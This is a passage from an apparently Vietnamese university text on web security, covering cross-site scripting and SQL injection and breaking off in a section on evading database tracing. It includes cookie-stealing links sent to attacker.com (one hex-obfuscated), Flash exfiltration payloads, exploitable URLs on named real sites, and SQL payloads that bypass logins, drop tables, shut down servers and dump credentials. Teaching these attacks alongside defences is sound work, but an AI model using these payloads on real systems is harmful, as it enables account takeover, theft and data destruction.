Ví dụ 5.II-1: Để khai thác lỗ hổng trên ứng dụng hotwired.lycos.com, hacker có thể

thực hiện như sau :

<html>

<head>

<title>Look at this!</title>

</head>

<body>

<a

href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>do

cument.location.replace('http://www.attacker.com/steal.cgi?'+docume

nt.cookie);</script>"> Một phần thưởng hấp dẫn đang chờ bạn </a>

</body>

</html>

Sau khi người dùng nhấp vào liên kết “Một phần thưởng hấp dẫn đang chờ bạn”,

cookie trên máy nạn nhân sẽ bị đánh cắp và là tham số truyền vào cho chương trình

steal.cgi của hacker.

http://www.attacker.com/steal.cgi?lubid=010000508BD3046103F43B8264530098C

20100000000;%20p_uniqid=8sJgk9daas7WUMxV0B;%20gv_titan_20=5901=10195

11286

Vấn đề đặt ra là có thể người lập trình sẽ bảo vệ ứng dụng Web của mình bằng cách

lọc những kí tự đặc biệt như ‘, hay + (có thể tránh trường hợp dùng dấu ‘ để thực hiện

câu truy vấn SQL chẳng hạn)… Nhưng hacker có thể lợi dụng mã hex thay cho

những kí tự đặc biệt để tấn công.

Thay thế bằng những số hex cho những kí tự ASCII.

Ví dụ 5.II-2:

Page 52: Bao mat ung_dung_web

Khoa CNTT

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

-Trang 49-

http://www.attacker.com/steal.cgi:

h -> 0x0068

t -> 0x0074

t -> 0x0074

p -> 0x0070

: -> 0x003A

/ -> 0x002F

Sau đây là ví dụ trong cách dùng mã hex trong ứng dụng web.

Ví dụ 5.II-3:<html>

<head>

<title>Look at this!</title>

</head>

<body>

<a

href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>va

r u = String.fromCharCode(0x0068);u %2B=

String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0074);

u %2B= String.fromCharCode(0x0070);u %2B=

String.fromCharCode(0x003A);

u %2B= String.fromCharCode(0x002F);u %2B=

String.fromCharCode(0x002F);

u %2B= String.fromCharCode(0x0061);u %2B=

String.fromCharCode(0x0074);

u %2B= String.fromCharCode(0x0074);u %2B=

String.fromCharCode(0x0061);

Page 53: Bao mat ung_dung_web

Khoa CNTT

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

-Trang 50-

u %2B= String.fromCharCode(0x0063);u %2B=

String.fromCharCode(0x006B);

u %2B= String.fromCharCode(0x0065);u %2B=

String.fromCharCode(0x0072);

u %2B= String.fromCharCode(0x002E);u %2B=

String.fromCharCode(0x0063);

u %2B= String.fromCharCode(0x006F);u %2B=

String.fromCharCode(0x006D);

u %2B= String.fromCharCode(0x002F);u %2B=

String.fromCharCode(0x0073);

u %2B= String.fromCharCode(0x0074);u %2B=

String.fromCharCode(0x0065);

u %2B= String.fromCharCode(0x0061);u %2B=

String.fromCharCode(0x006C);

u %2B= String.fromCharCode(0x002E);u %2B=

String.fromCharCode(0x0063);

u %2B= String.fromCharCode(0x0067);u %2B=

String.fromCharCode(0x0069);

u %2B= String.fromCharCode(0x003F);

u %2B=document.cookie;document.location.replace(u);</script>"

onMouseOver="window.status=’http://www.hotwired.lycos.com/index2.html';return true"onMouseOut="window.status='';return true">Một phần thưởng hấp dẫn đang chờ

bạn </a>

</body>

</html>

III. MỘT SỐ WEBSITE TÌM THẤY LỖ HỔNG XSS

Tên công ty Domain Những liên kết bị khai thác

NBC http://www.shop http://www.shopnbc.com/listing.asp?qu=

Page 54: Bao mat ung_dung_web

Khoa CNTT

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

-Trang 51-

nbc.com <script>alert(document.cookie)</script>&frompa

ge=4

&page=1&ct=VVTV&mh=0&sh=0&RN=1

Microsoft http://www.micr

osoft.com/

http://www.microsoft.com/education/?ID=MCTN

&target=http://www.microsoft.com/education/?ID=

MCTN

&target=<script>alert(document.cookie)</script>

Chase https://www.cha

se.com/

https://www.chase.com/chase/gx.cgi/FTcs?pagenam

e=<script>alert(document.cookie)</script>

&urlname=smallbusiness/direct

EBay https://scgi.ebay.

co.uk/

https://scgi.ebay.co.uk/saw-

cgi/eBayISAPI.dll?SSLRegisterShow

&countryid=3&siteId=3&co_partnerId=0&UsingSS

L=1

&aolemail=<script>alert(document.cookie)

</script>

Oracle Japan http://www.orac

le.co.jp/

http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/i

m_search_exe?

search_text=<script>alert(document.cookie)

</script>

IV. TẤN CÔNG XSS BẰNG FLASH

Ngoài những cách đưa một đoạn mã nguy hiểm thì hacker còn có thể lợi dụng những

tập tin flash để đánh cắp thông tin.

Page 55: Bao mat ung_dung_web

Khoa CNTT

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

-Trang 52-

Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đã được xây dụng

sẵn trong Flash là ActionScript. ActionScript có cú pháp đơn giản và tương tự như

JavaScript, C hay PERL. Ví dụ hàm getURL() dùng để gọi một trang web khác, tham

số thường là một URL chẳng hạn như “http://www.yahoo.com”.

Ví dụ 5.IV-1:

getURL(“http://www.yahoo.com”)

Tuy nhiên có thể thay thế URL bằng JavaScript:

getURL(“javascript:alert(document.cookie)”)

Ví dụ 5.IV-1 trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa

tập tin flash đó. Như vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn

JavaScript vào ứng dụng Web thông qua tập tin flash. Một ví dụ khác rõ hơn về cách

tấn công này là:

Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flash được đọc:

getURL(“javascript:location(‘http://www.attacker.com?newcookie=’+do

cument.cookie)”)

Như vậy là khi người dùng xem trang web chứa tập tin flash này thì ngay lập tức

cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho hacker.

Page 56: Bao mat ung_dung_web

Khoa CNTT

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

-Trang 53-

Hình 5.IV-2: Cách viết Action Scipt trong Flash

Ví dụ 5.IV-2:

DeviantArt là một trang web nổi tiếng, cho phép thành viên của nó gửi các tập tin

flash lên cho mọi thành viên cùng xem. Vì thế hacker có thể ăn cắp cookie của các

thành viên và cũng có thể là tài khoản của người quản trị web, bằng cách đăng kí làm

thành viên của ứng dụng Web này, gửi tập tin flash lên máy chủ và đợi các nạn nhân

xem tập tin flash đó. Dưới đây là địa chỉ liên kết dến một tập tin flash như đã trình

bày trong ví dụ 5.IV-2:

http://www.deviantart.com/deviation/1386080

Ngoài ra các trang web cho phép thành viên gửi dữ liệu dạng HTML như diễn đàn,

các chức năng tạo chữ kí riêng, … cũng có thể là mục tiêu của cách tấn công này,

bằng cách nhập đoạn mã gọi tập tin flash vào.

<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"

codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/s

wflash.cab#version=6,0,0,0"

WIDTH="60"

Page 57: Bao mat ung_dung_web

Khoa CNTT

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

-Trang 54-

HEIGHT="48"

id="1"

ALIGN="">

<PARAM NAME=movie VALUE="http://www.ke_tan_cong.com/vidu.swf"><PARAM NAME=quality VALUE=high>

<PARAM NAME=bgcolor VALUE=#FF9900>

<EMBED src=" http://www.ke_tan_cong.com/vidu.swf"quality=high

bgcolor=#FF9900

WIDTH="60"

HEIGHT="48"

NAME="1"

ALIGN=""

TYPE="application/x-shockwave-flash"

PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">

</EMBED>

</OBJECT>

V. CÁCH PHÒNG CHỐNG

• Với những dữ liệu, thông tin nhập của người dùng, người thiết kế ứng dụng Web

cần phải thực hiện vài bước cơ bản sau:

o Tạo ra danh sách những thẻ HTML được phép sử dụng.

o Xóa bỏ thẻ <script>

o Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related

nào.

o Lọc dấu nháy đơn hay kép

o Lọc kí tự Null ( vì khả năng thêm một đoạn mã bất kì sau kí tự Null khiến cho

ứng dụng dù đã lọc bỏ thẻ <script> vẫn không nhận ra do ứng dụng nghĩ rằng

chuỗi đã kết thúc từ kí tự Null này).

Page 58: Bao mat ung_dung_web

Khoa CNTT

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

-Trang 55-

o Xóa những kí tự “ > ”, “ < ”

o Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩn

riêng.

• Đối với người dùng, cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho

thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy

mà người dùng sẽ quyết định.

Nhận xét:Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, tuy nhiên mức độ thiệt hại chỉ dừng

lại ở mức độ tấn công trên máy nạn nhân thông qua những liên kết hay form lừa đảo

mà hacker đưa đến cho nạn nhân. Vì thế, ngoài việc ứng dụng kiểm tra tính đúng đắn

của dữ liệu trước khi sử dụng thì việc cần nhất là người dùng nên cảnh giác trước khi

bước vào một trang Web mới. Có thể nói, nhờ vào sự cảnh giác của người dùng thì

90% đã đạt được sự bảo mật trong kĩ thuật này. Tuy nhiên, trong chương 6, sự tấn

công lại nhắm vào máy chủ, nhằm thu thập thông tin trong cơ sở dữ liệu và từ đó

giành quyền quản trị ứng dụng.

Page 59: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 56-

Chương 6

CHÈN CÂU TRUY VẤN SQLNội dung:

I. Khái niệm SQL Injection

II. Giới thiệu mô hình cơ sở dữ liệu.

III. Các cách tấn công.

IV. Cách phòng chống .

Page 60: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 57-

CHƯƠNG 6:

CHÈN CÂU TRUY VẤN SQL (SQL INJECTION)

I. KHÁI NIỆM SQL INJECTION

SQL Injection là cách lợi dụng những lỗ hổng trong quá trình lập trình Web về phần

truy xuất cơ sở dữ liệu. Đây không chỉ là khuyết điểm của riêng SQL Server mà nó

còn là vấn đề chung cho toàn bộ các cơ sở dữ liệu khác như Oracle, MS Access hay

IBM DB2.

Khi hacker gửi những dữ liệu (thông qua các form), ứng dụng Web sẽ thực hiện và

trả về cho trình duyệt kết quả câu truy vấn hay những thông báo lỗi có liên quan đến

cơ sở dữ liệu. Và nhờ những thông tin này mà hacker biết được nội dung cơ sở dữ

liệu và từ đó có thể điều khiển toàn bộ hệ thống ứng dụng.

II. GIỚI THIỆU MÔ HÌNH CƠ SỞ DỮ LIỆU

Để trình bày tốt hơn nội dung kĩ thuật này, luận văn sử dụng bảng User để minh họa

kĩ thuật tấn công.

Bảng User:

STT Tên trường Cài đặt vật

Kiểu

trường

Kích

thước

Diễn giải

1 tkUsername Khóa chính Text 50 Mỗi người dùng có 1

account để đăng nhập.

2 tkPassword Text 50 Password để đăng

nhập

Page 61: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 58-

Quy ước:

Ngôn ngữ lập trình sử dụng để minh họa trong chương này là ASP với cơ sở dữ liệu

là SQL Server.

III. CÁC CÁCH TẤN CÔNG

III.1. Kĩ thuật tấn công SQL Injection

Dưới đây là kĩ thuật SQL injection đơn giản nhất, dùng để vượt qua các form

đăng nhập.

Ví dụ 6.III.1-1: giả sử ứng dụng web có đoạn mã sau:

SQLQuery= “SELECT tkUsername FROM User WHERE tkUsername= ‘” &

strUsername & “’ AND Password= ‘” & tkPassword & “’”

flag= GetQueryResult (SQLQuery)

if flag = “” then

check=FALSE

else

check=TRUE

end if

Đoạn mã trên kiểm tra chuỗi nhập Username và Password. Nếu tồn tại trong bảng

User thì check=true ngược lại check=false.

Giá tri nhập vào là:Username: ’ OR ‘’=’

Password: ’ OR ‘’=’

Page 62: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 59-

Câu lệnh SQL lúc này như sau:

SELECT tkUsername FROM User WHERE tkUsername= ‘’ OR ‘’=’‘ AND

Password= ‘’ OR ‘’=’’

Câu lệnh so sánh trên luôn luôn đúng (vì ‘’ luôn bằng ‘’). Do đó câu điều kiện

trong mệnh đề WHERE luôn đúng. Giá trị tên người sử dụng của dòng đầu tiên

trong bảng sẽ được chọn.

Kết hợp với kí tự đặc biệt của SQL :

• kí tự “ ; ” : đánh dấu kết thúc 1 câu truy vấn

• kí tự “--” : ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng

Ví dụ 6.III.1-2:

Username: ’; drop table User--

Password:

Câu lệnh SQL lúc này như sau:

SELECT tkUsername FROM User WHERE tkUsername= ‘’;drop table

User-- AND Password= ‘” & tkPassword & “’”

Với câu lệnh trên thì bảng User sẽ bị xóa hoàn toàn.

Ví dụ 6.III.1-3: Một ví dụ khác sử dụng kí tự đặc biệt SQL để thâm nhập vào hệ

thống như sau:Username: admin’--

Password:

Page 63: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 60-

Câu lệnh SQL như sau:

SELECT tkUsername FROM User WHERE tkUsername= ‘admin’-- AND

Password= ‘” & tkPassword & “’”

Câu lệnh trên cho phép đăng nhập vào hệ thống với quyền admin mà không đòi

hỏi password.

III.2. Tấn công dưa vào câu lệnh SELECT

Ngoài kĩ thuật đơn giản trên, việc tấn công thường dựa trên những thông báo lỗi

để lấy thông tin về bảng cũng như những trường trong bảng. Để làm được điều

này, cần phải hiểu những thông báo lỗi và từ đó chỉnh sửa nội dung nhập cho phù

hợp.

Khái niệm Direct Injection:

Những đối số được thêm vào trong câu lệnh mà không nằm giữa những dấu nhấy

đơn hay dấu ngoặc kép là trường hợp direct injection. Ví dụ III.2.1

Ví dụ 6.III.2-1:

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=”& tName

Khái niệm Quote Injection:

Những trường hợp đối số được nhập vào đều được ứng dụng cho vào giữa hai dấu

nháy đơn hay ngoặc kép là trường hợp Quote Injection. Ví dụ III.2.2

Ví dụ 6.III.2-2:

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’”& tName &

“’”

Page 64: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 61-

Để vô hiệu hoá dấu nháy và thay đổi câu lệnh mà vẫn giữ được cú pháp đúng,

chuỗi mã chèn thêm vào phải có một dấu nháy đơn trước chuỗi kí tự được chèn

vào và ở cuối câu lệnh phải có một dấu nháy đơn, chẳng hạn như sau:

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’’ and

‘’=’’”

Nếu đã thực hiện như trên mà thông báo lỗi có liên quan đến dấu “(“ thì trong

chuỗi chèn vào phải có “)”:

Ví dụ 6.III.2-3: Giả sử:

StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’”& tName

& “’”)

Thì cú pháp hợp lệ như sau:

StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’’)or

‘’=’’”

Ngoài ra kí tự % thường được dùng trong những trường hợp tìm kiếm thông

tin.

Ví dụ 6.III.2-4:

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ &

tName & “’”

Page 65: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 62-

III.3. Tấn công dựa vào câu lệnh HAVING

HAVING sử dụng cùng chung với mệnh đề GROUP BY là phương pháp hữu

hiệu để nhận thông tin bảng, trường… và sẽ được bàn sâu hơn trong phần 4.

III.4. Tấn công dựa vào câu lệnh kết hợp UNION

Lệnh SELECT được dùng để lấy thông tin từ cơ sở dữ liệu. Thông thường vị trí

có thể được chèn thêm vào một mệnh đề SELECT là sau WHERE. Để có thể trả

về nhiều dòng thông tin trong bảng, thay đổi điều kiện trong mệnh đề WHERE

bằng cách chèn thêm UNION SELECT.

Ví dụ 6.III.4-1:

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ &

tName & “’UNION SELECT tkPassword from User”

Câu lệnh trên trả về một tập kết quả là sự kết hợp giữa tkUsername với

tkPassword trong bảng User.

Ghi chú:

• Số cột trong hai câu SELECT phải khớp với nhau. Nghĩa là số lượng cột

trong câu lệnh SELECT ban đầu và câu lệnh UNION SELECT phía sau bằng

nhau và cùng kiểu.

Nhờ vào lỗi cú pháp trả về sau khi chèn thêm câu lệnh UNION mà có thể biết

kiểu của mỗi trường.

Page 66: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 63-

Sau đây là những ví dụ được thực hiện khi không biết nội dung cơ sở dữ liệu dựa

vào HAVING, GROUP BY, UNION:

Ví dụ 6.III.4-2: Nhắc lại câu truy vấn cần để đăng nhập:

SQLQuery= “SELECT tkUsername,tkPassword FROM User WHERE

tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword

& “’”

Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử dụng câu

điều kiện “having” , như ví dụ sau:

Giá trị nhập vào:Username: ’having 1=1--

Lỗi phát sinh:

[Microsoft][ODBC SQL Server Driver][SQL Server]Column

'User.tkUsername' is invalid in the select list because it is

not contained in an aggregate function and there is no GROUP BY

clause.

Nhờ vào lỗi phát sinh này mà biết được bảng sử dụng trong câu truy vấn là User

và trong bảng tồn tại một trường tên là tkUsername.

Sau đó sử dụng GROUP BY:

Ví dụ 6.III.4-3:Username: ‘group by User.tkUsername having 1=1--

Page 67: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 64-

Lỗi phát sinh:

[Microsoft][ODBC SQL Server Driver][SQL Server]

Column'User.tkPassword'is invalid in the select list because itis not contained in either an aggregate function or the GROUP BY

clause.

Như vậy tkPassword là một trường của bảng User và được sử dụng trong câu truy

vấn.

Tiếp tục dùng GROUP BY cho đến khi biết được tất cả các trường trong bảng

User tham gia vào câu truy vấn.

Khi không còn báo lỗi cú pháp GROUP BY nữa thì chuyển qua công đoạn kiểm

tra kiểu của từng trường trong bảng. Lúc này UNION được sử dụng:

Ví dụ 6.III.4-4:Username:’union select sum(tkUsername) from User

Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc. Đối số phải là kiểu số.

Nếu đối số không là kiểu số thì phát sinh lỗi như sau:

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or

average aggregate operation cannot take a varchar data type as

an argument.

Như vậy với thông điệp lỗi như trên thì tkUsername chắc chắn phải là kiểu

“varchar”.

Page 68: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 65-

Với phương pháp trên, dễ dàng xác định được kiểu của từng trường trong bảng.

Sau khi đã nhận đầy đủ trông tin trên thì hacker dễ dàng tự thêm thông tin vào

bảng User.

Ví dụ 6.III.4-5:Username:’; insert into User(tkUsername,tkPassword) values

(‘admin’, ‘’)--

Hacker thêm nội dung như Ví dụ 6.III.4.2.4 bây giờ trở thành người quản trị mạng

mà không cần mật khẩu để chứng thực.

Ví dụ 6.III.4-6: minh hoạ một công đoạn sẽ giúp hacker đọc hết thông tin trong

bảng User:

• Bước 1: Tạo một Stored procedure để chép vào tất cả thông tin của 2 trường

tkUsername và tkPassword trong bảng User thành một chuỗi vào một bảng

mới là foo có một trường là ret bằng đoạn mã sau:

create proc test

as

begin

declare @ret varchar(8000)

set @ret=':'

select @ret=@ret+' '+tkUsername+'/'+tkPassword from User

select @ret as ret into foo

end

Thực thi câu lệnh bằng cách nhập vào form.Username:’;Create proc test as begin declare @ret

varchar(8000) set @ret=’:’ select @ret=@ret+'

Page 69: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 66-

'+tkUsername+'/'+tkPassword from User select @ret as ret into

foo

• Bước 2: Gọi Stored procedure đó

Sau khi đã tạo được stored procedure như trên, thực hiện lời gọi hàm:Username:’;exec test

• Bước 3: Dùng UNION để xem nội dung bảng fooUsername:’;select ret,1 from foo union select 1,1 from foo

Lỗi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error

'80040e07'[Microsoft][ODBC SQL Server Driver][SQL

Server]Syntax error convertingthe varchar value ':admin/passofAdmin nhimmap/passofnhimmap minhthu/passofminhthu'to a column of data type int.

Qua một số công đoạn, hacker đã thu được nội dung của bảng User gồm có tên

tkUsername và mật khẩu tkPassword.

• Bước 4: Ngoài ra hacker còn có thể cẩn thận xoá bảng foo để xoá dấu vết:Username: ‘; drop table foo--

Ví dụ 6.III.4-7: Còn đây là một cách khác để xác định nội dung của bảng User,

còn một phương pháp tìm kiếm thông tin như sau:

• Bước 1:

Tìm tuần tự từng dòng trên bảng UserUsername:’union select 1,1

Page 70: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 67-

hoặc :Username:’union select min(tkUsername),1 from User where

tkUsername> ’a’--

Lỗi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error

converting the varchar value 'admin' to a column of data typeint.

Người đầu tiên trong bảng User là “admin”.

• Bước 2:

Để biết các giá trị tiếp theo, nhập chuỗi sau:Username:’;select min(tkUsername),1 from User where

tkUsername> ’admin’union select 1,1 from User

Lỗi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error

converting

the varchar value 'nhimmap' to a column of data type int.

• Bước 3:

Thực hiện như bước 2 cho ra kết quả là từng dòng với trường tkUsername

trong bảng User.

Page 71: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 68-

• Bước 4:

Để biết thêm về tkPasswork, có thể thực hiện như sau:Username:’;select tkPassword,1 from User where tkUsername=

’admin’union select 1,1 from User

Lỗi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error

converting

the varchar value 'passOfAdmin' to a column of data type int.

Để biết thông tin về các bảng, cột trong cơ sở dữ liệu, có thể truy vấn bảng đến

bảng hệ thống INFORMATION_SCHEMA.TABLES.

Ví dụ 6.III.4-8:

select TABLE_NAME from INFORMATION_SCHEMA.TABLES

INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên

server. Trường TABLE_NAME chứa tên của mỗi table trong cơ sở dữ liệu.

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE

TABLE_NAME='User'

Câu lệnh trên được sử dụng để biết thông tin về cột trong bảng.

Ngoài ra còn có thể dùng UNION để biết các biến môi trường của SQL Server.

Page 72: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 69-

Ví dụ 6.III.4-9: Để biết ứng dụng đang chạy trên Server nào, có thể xác định bằng

cách sau:Username:’;select @@SERVERNAME union select 1

Lỗi phát sinh:Microsoft OLE DB Provider for ODBC Drivers error

'80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax

error converting the varchar value 'KHOAI_NGU' to a column ofdata type int.

III.5. Tấn công dưa vào lệnh INSERT

Từ khoá INSERT dùng để đưa thông tin vào cơ sở dữ liệu. Thông thường câu

lệnh INSERT được dùng trong các trường hợp như: thông tin đăng kí người sử

dụng, guestbook…v..v…

Kĩ thuật “;”, “--“ được dùng như đã từng dùng với câu lệnh SELECT, phải đảm

bảo đúng số lượng và kiểu giá trị được nhập vào nhằm tránh lỗi về cú pháp (nếu

không xác định được kiểu dữ liệu có thể nhập tất cả là số).

Ví dụ 6.III.5-1:

SQLString= “INSERT INTO User VALUES (‘” & strUsername & “’, ‘” &

strName& “’, ‘” & strPassWord & “’,’”& strLimitSize & “’)”

Page 73: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 70-

III.6. Tấn công dưa vào STORED PROCEDURE

Stored Procedure được sử dụng trong lập trình Web với mục đích giảm sự phức

tạp trong ứng dụng và tránh sự tấn công trong kĩ thuật SQL Injection. Tuy nhiên

hacker vẫn có thể lợi dụng những Stored Procedure để tấn công vào hệ thống.

Ví dụ 6.III.6-1: Stored procedure sp_login gồm hai tham số là username và

password. Nếu nhập:Username: nhimmap

Password: ‘;shutdown--

Lệnh gọi stored procedure như sau:

exec sp_login ‘nhimmap’,‘’;shutdown--’

Lệnh shutdown thực hiện dừng SQL Server ngay lập tức.

III.7. Nâng cao

III.7.1. Chuỗi kí tự không có dấu nháy đơn:

Những nhà lập trình có thể bảo vệ ứng dụng của họ bằng cách loại bỏ tất cả

dấu nháy, thông thường loại bỏ dấu nháy bằng cách thay một dấu nháy thành 2

dấu nháy.

Ví dụ 6.III.7.1-1:

Function escape (input)

Input=replace(input, “’”, “’’”)

escape=input

end function

Page 74: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 71-

Rõ ràng là, nó ngăn chặn được tất cả những kiểu tấn công trên. Tuy nhiên nếu

muốn tạo ra một chuỗi giá trị mà không dùng các dấu nháy, có thể dùng hàm

“char()” như ví dụ sau:

Ví dụ 6.III.7.1-2:

INSERT into User VALUES(666, char(0x63) +char(0x68)

+char(0x72) char(0x69) +char(0x73) ,char(0x63) +char(0x68)

+char(0x72) +char(0x69) +char(0x73),0xffff)

Ví dụ 6.III.7.1-3 trên tuy là một câu truy vấn không có dấu nháy đơn nào

nhưng nó vẫn có thể insert chuỗi vào bảng, và tương đương với:

INSERT into User VALUES( 666,’chris’,’chris’,255)

Hacker cũng có thể chọn username , password là số để tránh dấu nháy như ví

dụ sau:

Ví dụ 6.III.7.1-4:

INSERT into User VALUES( 667,123,123,0xffff)

SQL server sẽ tự động chuyển từ số sang chuỗi.

III.7.2. Tấn công 2 tầng

Mặc dù ứng dụng đã thay thế dấu nháy đơn nhưng vẫn còn khả năng bị chèn

đoạn mã SQL .

Ví dụ 6.III.7.2-1: Để đăng kí account trong ứng dụng, nhập username như sau:Username: admin'—

Password: passofadmin

Page 75: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 72-

Ứng dụng sẽ thay thế dấu nháy, kết quả trong câu insert sẽ như sau:

INSERT into User VALUES(123, 'admin''--', 'password',0xffff)

(nhưng trong cơ sở dữ liệu sẽ lưu là “admin’--“)

Giả sử rằng ứng dụng cho phép người dùng thay đổi mật khẩu. Các đoạn mã

ASP được thiết kế đảm bảo rằng người sử dụng phải nhập đúng mật khẩu cũ

trước khi nhập mật khẩu mới. Đoạn mã như sau:

username = escape( Request.form("username") );

oldpassword = escape( Request.form("oldpassword") );

newpassword = escape( Request.form("newpassword") );

var rso = Server.CreateObject("ADODB.Recordset");

var sql = "select * from users where username = '" + username

+ "' and password = '" + oldpassword + "'";

rso.open( sql, cn );

if (rso.EOF)

{…

Câu truy vấn thiết lập mật khẩu mới như sau:

sql = "update users set password = '" + newpassword + "' where

username= '" + rso("username") + "'"

rso(“username”) chính là giá trị username có được câu truy vấn login và nó là

admin’--

Câu truy vấn lúc này như sau:

Page 76: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 73-

update users set password = 'password' where username =

'admin'--'

Nhờ đó hacker có thể thay đổi mật khẩu của admin bằng giá trị của mình.

Đây là 1 trường hợp còn tồn tại trong hầu hết những ứng dụng lớn ngày nay có

sử dụng cơ chế loại bỏ dữ liệu. Giải pháp tốt nhất là loại bỏ những giá trị lỗi

hơn là chỉnh sửa lại. Nhưng có một vấn đề là có một số ô nhập dữ liệu (như ô

nhập tên) cho phép những kí tự này. Ví dụ: O’Brien.

Cách tốt nhất để giải quyết vấn đề này là không cho phép nhập dấu nháy đơn.

Nếu điều này không thể thực hiện được , thì loại bỏ và thay thế như trên.

Trong trường hợp này, cách tốt nhất là đảm bảo tất cả dữ liệu được đưa vào

câu truy vấn SQL (kể cả những giá trị trong cơ sở dữ liệu) phải được kiểm

soát một cách chặt chẽ.

Một số ứng dụng phòng chống việc thêm câu truy vấn từ người dùng bằng

cách giới hạn chiều dài của ô nhập. Tuy nhiên, với giới hạn này thì một số

kiểu tấn công không thể thực hiện được nhưng vẫn có chỗ hở để hacker lợi

dụng.

Ví dụ 6.III.7.2-2:

Giả sử cả username và password đều bị giới hạn tối đa là 16 kí tự. Nhập:

Username: aaaaaaaaaaaaaaa’

Password :‘; shutdown--

Page 77: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 74-

Ứng dụng sẽ thay thế một dấu nháy đơn bằng hai dấu nháy đơn nhưng do

chiều dài chuỗi bị giới hạn chỉ là 16 kí tự nên dấu nháy đơn vừa được thêm sẽ

bị xoá mất. Câu lệnh SQL như sau:

Select * from users where username=’aaaaaaaaaaaaaaa’’ and

password=’’’; shutdown—‘

kết quả là username trong câu lệnh có giá trị là:

aaaaaaaaaaaaaaa’ and password=’

III.7.3. Tránh sự kiểm soát:

SQL server có một giao thức kiểm soát chặt chẽ bằng họ hàm sp_traceXXX,

cho phép ghi nhân nhiều sự kiện xảy ra trong cơ sở dữ liệu. Đặc biệt là các sự

kiện T-SQL, ghi nhận lại tất cả các câu lệnh SQL thực hiện trên Server. Nếu

chế độ kiểm soát được bật thì tất cả các câu truy vấn SQL của hacker cũng bị

